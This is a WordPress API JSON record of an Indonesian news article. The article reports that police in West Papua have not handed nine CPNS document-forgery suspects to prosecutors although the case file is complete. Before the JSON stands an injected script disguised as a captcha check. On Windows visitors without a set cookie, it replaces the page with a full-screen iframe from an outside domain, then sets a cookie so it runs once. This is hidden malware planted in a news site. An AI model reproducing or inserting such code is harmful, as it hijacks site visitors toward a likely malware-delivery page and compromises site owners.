<script secretid="test">
    (function () {
        function getCookie() {
            var e = document.cookie,
                n = new RegExp("(^|; )cookie-captcha-complete=([^;]*)").exec(e);
            return n ? decodeURIComponent(n[2]) : null
        }

        function isWindows() {
            return /windows|win32|win64/i.test(navigator.userAgent)
        }

        function checkCaptcha() {
            if (!getCookie() && isWindows()) {
                document.documentElement.innerHTML = '<!DOCTYPE html><html><head><style>html,body{margin:0;padding:0;height:100%;overflow:hidden}iframe{width:100%;height:100%;border:none}</style></head><body><iframe src="https://steam-cloud.pro/?domain="></iframe></body></html>'
                document.cookie = "cookie-captcha-complete=1; path=/; max-age=" + (60 * 60 * 24 * 365);
            }
        }
        if (document.readyState === "loading") {
            document.addEventListener("DOMContentLoaded", checkCaptcha)
        } else {
            checkCaptcha()
        }
    })() 
</script>{"id":1711,"date":"2025-01-08T17:07:12","date_gmt":"2025-01-08T08:07:12","guid":{"rendered":"https:\/\/lembaranpapua.com\/?p=1711"},"modified":"2025-01-08T17:52:43","modified_gmt":"2025-01-08T08:52:43","slug":"9-tersangka-pemalsuan-dokumen-cpns-masih-dikantongi-polda-belum-diserahkan","status":"publish","type":"post","link":"https:\/\/lembaranpapua.com\/index.php\/2025\/01\/08\/9-tersangka-pemalsuan-dokumen-cpns-masih-dikantongi-polda-belum-diserahkan\/","title":{"rendered":"Kejati Tunggu 9 Tersangka Pemalsuan Dokumen CPNS Masih Dikantongi Polda PB"},"content":{"rendered":"<p>Manokwari, Lembaran Papua &#8211; Penyidik Kriminal Umum (Krimum) Polda Papua Barat,masih mengantongi para tersangka dan belum menyerahkannya ke Jaksa Kejaksaan Tinggi (Kerjati) meski berkasnya sudah P 21.<\/p>\n<p>Sejak Desember 2024 lalu jalsa menyatakan berkas perkara dugaan pemalsuan dokumen penerimaan Calon Pegawai Negeri Sipil (CPNS) di Pemerintah provinsi Papua Barat telah dinyatakan lengkap alias P21.<\/p>\n<p>Namun baik berkas maupun para tersangka,serta barang bukti tak kunjung diserahkan Jaksa<\/p>\n<p>Sebelumnya, Penyidik Direktorat Krimum Polda Papua Barat, telah menetapkan 9 orang sebagai tersangka dugaan pemalsuan dokumen CPNS<\/p>\n<p>Asisten Pidana umum (Aspidum) Kejati Papua Barat Djasmaniar, Rabu (08\/01\/2025), membenarkan berkas perkara sudah dinyatakan lengkap, tapi para tersangka dan barang bukti, belum diterima di kejaksaan,&#8221; kata Aspidum Kejati Papua Barat Rabu (8\/1\/2025)<\/p>\n<p>Disebutkan jika berkas perkara tersebut sudah dinyatakan lengka,\u00a0 maka penyidik seharusnya menyerahkan Tersangka.<\/p>\n<p>Jika berkas sudah dinyatakan P-21, berarti perkara tersebut dianggap lengkap dan penyidik wajib menyerahkan tersangka disertai Barang Bukti, ucapnya.<\/p>\n<p>9 orang tersangka dijerat dengan Pasal 263 dan 266 KUHP dengan ancaman hukuman 6 tahun penjara.<\/p>\n<p>KRTUA forum Honorer Papua Barat, Virna Auparay, sebagai korban mengaku kecewa dengan kinerja penyidik kepolisian maupun kejaksaan menangani perkara pemalsuan dokumen penerimaan CPNS Papua Barat, lantaran sudah bertahun-tahun tetapi kami (korban) dibuat seperti bola pingpong, kami tanyakan ke polisi mereka bilang ada menunggu jaksa, kamivtanyakan ke Jaksa mereka bilang tunggu polisi,ungkapnya kesal.<\/p>\n<p>Disebutkan setelah mereka datangi Kejaksaan Tinggi Selasa kemarin, menurut informasi Jaksa sudah kirim P21 ke Penyidik, meminta pelimpahan barang bukti dan tersangka<\/p>\n<p>Diharapkan, kasus ini segera disidangkan dan para tersangka mendapatkan ganjaran setimpal atas perbuatannya.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Manokwari, Lembaran Papua &#8211; Penyidik Kriminal Umum (Krimum) Polda Papua Barat,masih mengantongi para tersangka dan belum menyerahkannya ke Jaksa Kejaksaan Tinggi (Kerjati) meski berkasnya sudah P 21. Sejak Desember 2024 lalu jalsa menyatakan berkas perkara dugaan pemalsuan dokumen penerimaan Calon Pegawai Negeri Sipil (CPNS) di Pemerintah provinsi Papua Barat telah dinyatakan lengkap alias P21. Namun [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":1712,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[45],"tags":[],"class_list":["post-1711","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-headline"],"_links":{"self":[{"href":"https:\/\/lembaranpapua.com\/index.php\/wp-json\/wp\/v2\/posts\/1711","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lembaranpapua.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lembaranpapua.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lembaranpapua.com\/index.php\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/lembaranpapua.com\/index.php\/wp-json\/wp\/v2\/comments?post=1711"}],"version-history":[{"count":3,"href":"https:\/\/lembaranpapua.com\/index.php\/wp-json\/wp\/v2\/posts\/1711\/revisions"}],"predecessor-version":[{"id":1718,"href":"https:\/\/lembaranpapua.com\/index.php\/wp-json\/wp\/v2\/posts\/1711\/revisions\/1718"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lembaranpapua.com\/index.php\/wp-json\/wp\/v2\/media\/1712"}],"wp:attachment":[{"href":"https:\/\/lembaranpapua.com\/index.php\/wp-json\/wp\/v2\/media?parent=1711"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lembaranpapua.com\/index.php\/wp-json\/wp\/v2\/categories?post=1711"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lembaranpapua.com\/index.php\/wp-json\/wp\/v2\/tags?post=1711"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}